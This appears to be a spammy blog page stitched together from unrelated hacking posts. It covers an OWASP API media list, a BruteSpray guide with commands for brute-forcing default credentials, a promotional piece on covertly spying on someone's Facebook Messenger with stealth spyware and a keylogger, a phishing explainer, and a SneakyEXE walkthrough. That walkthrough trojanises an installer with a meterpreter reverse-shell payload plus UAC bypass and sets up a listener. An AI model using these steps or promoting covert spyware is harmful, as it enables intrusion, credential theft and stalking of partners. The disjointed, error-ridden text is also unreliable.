Anyone Can Make Money Online: Apr 20, 2020

OWASP API Security Project Media Coverage

A list of must read articles on OWASP API Security Project:

10/3/19, APISecurity.IO (UMV: 1,510): Issue 51: Gartner Releases Full Report on API Security
10/2/19, ADT Magazine (UMV: 117,500): API Security Project Identifies Top 10 Vulnerabilities
9/26/19, Dark Reading (UMV: 57,800): Why You Need to Think About API Security
9/24/19, The Daily Swig (UMV: 30,500): OWASP Reveals Top 10 Security Threats Facing API Ecosystem
9/20/19, Security Boulevard (UMV: 29,100): New OWASP List Highlights API Security Holes
9/13/19, Security Boulevard (UMV: 29,100): Why You Need to Be Thinking About API Security
9/13/19, CyberWire (UMV: 49,380): Daily Briefing: OWASP API Security Project
9/12/19, Dark Reading (UMV: 57,800): APIs Get Their Own Top 10 Security list

Also included in Dark Reading's weekly newsletter on 9/19/19

More information

BruteSpray: A Brute-forcer From Nmap Output And Automatically Attempts Default Creds On Found Services

About BruteSpray: BruteSpray takes nmap GNMAP/XML output or newline seperated JSONS and automatically brute-forces services with default credentials using Medusa. BruteSpray can even find non-standard ports by using the -sV inside Nmap.

BruteSpay's Installation

With Debian users, the only thing you need to do is this command:
sudo apt install brutespray

For Arch Linux user, you must install Medusa first: sudo pacman -S medusa

And then, enter these commands to install BruteSpray:

Supported Services: ssh, ftp, telnet, vnc, mssql, mysql, postgresql, rsh, imap, nntpp, canywhere, pop3, rexec, rlogin, smbnt, smtp, svn, vmauthdv, snmp.

How to use BruteSpray?

First do an Nmap scan with -oG nmap.gnmap or -oX nmap.xml.
Command: python3 brutespray.py -h
Command: python3 brutespray.py --file nmap.gnmap
Command: python3 brutesrpay.py --file nmap.xml
Command: python3 brutespray.py --file nmap.xml -i

You can watch more details here:

Examples

Using Custom Wordlists:

python3 brutespray.py --file nmap.gnmap -U /usr/share/wordlist/user.txt -P /usr/share/wordlist/pass.txt --threads 5 --hosts 5

Brute-Forcing Specific Services:
python3 brutespray.py --file nmap.gnmap --service ftp,ssh,telnet --threads 5 --hosts 5

Specific Credentials:
python3 brutespray.py --file nmap.gnmap -u admin -p password --threads 5 --hosts 5

Continue After Success:
python3 brutespray.py --file nmap.gnmap --threads 5 --hosts 5 -c

Use Nmap XML Output:
python3 brutespray.py --file nmap.xml --threads 5 --hosts 5

Use JSON Output:
python3 brutespray.py --file out.json --threads 5 --hosts 5

Interactive Mode: python3 brutespray.py --file nmap.xml -i

Data Specs

{"host":"127.0.0.1","port":"3306","service":"mysql"} 
{"host":"127.0.0.10","port":"3306","service":"mysql"}
...

Changelog: Changelog notes are available at CHANGELOG.md.

You might like these similar tools:

Download BruteSpray

Related links

Samurai: Web Testing Framework

"The Samurai Web Testing Framework is a live linux environment that has been pre-configured to function as a web pen-testing environment. The CD contains the best of the open source and free tools that focus on testing and attacking websites. In developing this environment, we have based our tool selection on the tools we use in our security practice. We have included the tools used in all four steps of a web pen-test." read more...

Website: http://samurai.inguardians.com

Related word

How To Hack Facebook Messenger Conversation

FACEBOOK Messenger has become an exceptionally popular app across the globe in general. This handy app comes with very interactive and user-friendly features to impress users of all ages.

With that being said, there are a lot of people who are interested in knowing how to hack Facebook Messenger in Singapore, Hong Kong and other places. The requirement to hack Facebook Messenger arises due to various reasons. In this article, we are going to explain how to hack Facebook Messenger with ease.

As you may know, Facebook Messenger offers a large range of features. Compared to the initial release of this app, the latest version shows remarkable improvement. Now, it has a large range of features including group chats, video calls, GIFs, etc. A lot of corporate organizations use Facebook messenger as a mode of communication for their marketing purposes. Now, this messenger app is compatible with chatbots that can handle inquiries.

Why Hack Facebook Messenger in Singapore?

You may be interested in hacking Facebook Messenger in Singapore (or anywhere else) for various reasons. If you suspect that your partner is having an affair, you may want to hack Facebook Messenger. Or, if you need to know what your kids are doing with the messenger, you will need to hack it to have real time access.

You know that both of these situations are pretty justifiable and you intend no unethical act. You shouldn't hack Facebook Messenger of someone doesn't relate to you by any means, such a practice can violate their privacy. Having that in mind, you can read the rest of this article and learn how to hack Facebook Messenger.

How to Hack Someone's Facebook Messenger in Singapore

IncFidelibus is a monitoring application developed by a team of dedicated and experienced professionals. It is a market leader and has a customer base in over 191+ countries. It is very easy to install the app, and it provides monitoring and hacking of Facebook for both iOS and Android mobile devices. You can easily hack into someone's Facebook messenger and read all of their chats and conversations.

Not just reading the chats, you can also see the photo profile of the person they are chatting to, their chat history, their archived conversations, the media shared between them and much more. The best part is that you can do this remotely, without your target having even a hint of it. Can it get any easier than this?

No Rooting or Jailbreaking Required

IncFidelibus allows hacking your target's phone without rooting or jailbreaking it. It ensures the safety of their phone remains intact. You don't need to install any unique rooting tool or attach any rooting device.

Total Web-Based Monitoring

You don't need to use any unique gadget or app to track activity with IncFidelibus. It allows total web-based monitoring. All that you need is a web browser to view the target device's data and online activities.

Spying With IncFidelibus in Singapore

Over ten years of security expertise, with over 570,000 users in about 155+ countries, customer support that can be reached through their website, and 96% customer satisfaction. Need more reasons to trust IncFidelibus?

Stealth Mode

IncFidelibus runs in pure Stealth mode. You can hack and monitor your target's device remotely and without them knowing about it. IncFidelibus runs in the background of your target's device. It uses very less battery power and doesn't slow down your phone.

Hacking Facebook Messenger in Singapore using IncFidelibus

Hacking Facebook Messenger has never been this easy. IncFidelibus is equipped with a lot of advance technology for hacking and monitoring Facebook. Hacking someone's Facebook Messenger is just a few clicks away!

Track FB Messages in Singapore

With IncFidelibus, you can view your target's private Facebook messages and group chats within a click. This feature also allows you to access the Facebook profile of the people your target has been interacting with. You can also get the media files shared between the two.

Android Keylogger

IncFidelibus is equipped with a powerful keylogger. Using this feature, you can record and then read every key pressed by your target on their device.

This feature can help get the login credentials of your target. You can easily log into someone's Facebook and have access to their Facebook account in a jiffy.

What Else Can IncFidelibus Do For You?

IncFidelibus control panel is equipped with a lot of other monitoring and hacking tools and services, including;

Other Social Media Hacking

Not just FB messenger, but you can also hack someone's Instagram, Viber, Snapchat, WhatsApp hack, SMS conversations, call logs, Web search history, etc.

SIM card tracking

You can also track someone SIM card if someone has lost their device, changed their SIM card. You can get the details of the new number also.

Easy Spying Possible with IncFidelibus

Monitoring someone's phone is not an easy task. IncFidelibus has spent thousands of hours, had sleepless nights, did tons of research, and have given a lot of time and dedication to make it possible.

@HACKER NT

Related news

Hacking Facebook By Using PHP Script | Social Engineering Attack | LAN And WAN (Same Or Different Networks)

This Video is absolutely for Educational Purposes only, please don't do any illegal activity. If you do then I'm not responsible for your illegal activity. The purpose of this video is to show you How hackers can hack your social media by using their own local servers.

Basically these type of attacks known as Social Engineering attacks or Phishing. Attacker just send the duplicate vulnerable HTML page to the victim, when victim enters any type of information to that vulnerable page it'll automatically received by the attacker.

Phishing is a form of fraud in which an attacker masquerades as a reputable entity or person in email or other communication channels. The attacker uses phishing emails to distribute malicious links or attachments that can perform a variety of functions, including the extraction of login credentials or account information from victims.

How phishing works

Phishing attacks typically rely on social networking techniques applied to email or other electronic communication methods, including direct messages sent over social networks, SMS text messages and other instant messaging modes.

Phishers may use social engineering and other public sources of information, including social networks like LinkedIn, Facebook and Twitter, to gather background information about the victim's personal and work history, his interests, and his activities.

Hacking by PHP

As PHP is server side scripting language so first of all you have need to install a local server (WAMP, XAMPP or LAMPP) over your system. Because if there is no any server running on your system then you can't even run your PHP script. So if you wanna do a programming with PHP this is the first step to download and install a server from the Internet. You can easily download and install servers by watching my videos. Just visit my YouTube channel and watch there.

SneakyEXE's Installtion for Windows

Download SneakEXE-master zip file.
Unzip it into your optional directory.
Change dir to \SneakyEXE\Win32\.
Execute sneakyexe.exe (or sys\sneakyexe.exe for an improved startup speed).
(Optional : you can copy sneakyexe.exe to whatever directory you want and delete the unzipped one)

NOTE: The payload can only be successfully executed by the user with Administrator privilege. Users with limited token wouldn't succeed.

SneakyEXE GUI verion installation for Windows
You must install Python 3 first. Download and run Python 3.7.x setup file from Python.org. On Install Python 3.7, enable Add Python 3.7 to PATH.
Download SneakEXE-master zip file and unzip it.
And then, open PowerShell or CMD on SneakyEXE folder where you have just unzipped SneakyEXE-master and enter these command:

pip install pillow
pip install pyinstaller
mkdir compile
cd compile
pyinstaller --windowed --onefile --icon=Icon.ico /source/Win32/GUI.py
cd dist
GUI.exe

How to use SneakyEXE?

Example:
I dowloaded Unikey from Unikey.org.
And then, i used msfvenom to inject payload to UniKeyNT.exe (payload used: windows/meterpreter/reverse_tcp). I called the payload file is uNiKeY.exe.

After that, to embed UAC-Bypassing codes to uNiKeY.exe, i used this command:
python3 sneakyexe bin=/home/hildathedev/uNiKeY.exe out=/home/hildathedev/SneakyEXE

And then, by some how, makes your victim installs the payload that was embedded UAC-Bypassing codes and enter these commands:

sudo msfconsole -q
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Your IP address>
set LHOST <Your port>
exploit

and wait...

Disclaimer:

This tool was made for academic purposes or ethical cases only. I ain't taking any resposibility upon your actions if you abuse this tool for any black-hat acitivity
Feel free to use this project in your software, just don't reclaim the ownerhsip.

Credits: This tool does embed UACme which was originally coded by hfiref0x but the rest was pretty much all coded by me (Zenix Blurryface).

Download SneakyEXE